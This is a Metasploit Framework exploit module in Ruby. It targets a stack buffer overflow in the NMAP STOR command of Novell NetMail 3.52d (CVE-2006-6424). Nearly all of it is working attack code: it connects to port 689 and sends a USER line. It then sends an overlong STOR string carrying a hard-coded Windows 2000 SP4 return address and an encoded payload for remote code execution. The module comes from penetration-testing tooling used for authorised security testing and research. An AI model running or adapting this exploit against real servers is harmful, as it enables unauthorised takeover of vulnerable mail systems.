##
# $Id: nmap_stor.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
verb. By sending an overly long string, an attacker can overwrite the
buffer and control program execution.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2006-6424' ],
[ 'OSVDB', '31363' ],
[ 'BID', '21725' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2006'))
register_options([Opt::RPORT(689)], self.class)
end
def exploit
connect
sock.get_once
auth = "USER " + rand_text_english(10)
sock.put(auth + "\r\n")
res = sock.get_once
sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded
if (res =~ /1000/)
print_status("Trying target #{target.name}...")
sock.put(sploit)
else
print_status("Not in Trusted Hosts.")
end
handler
disconnect
end
end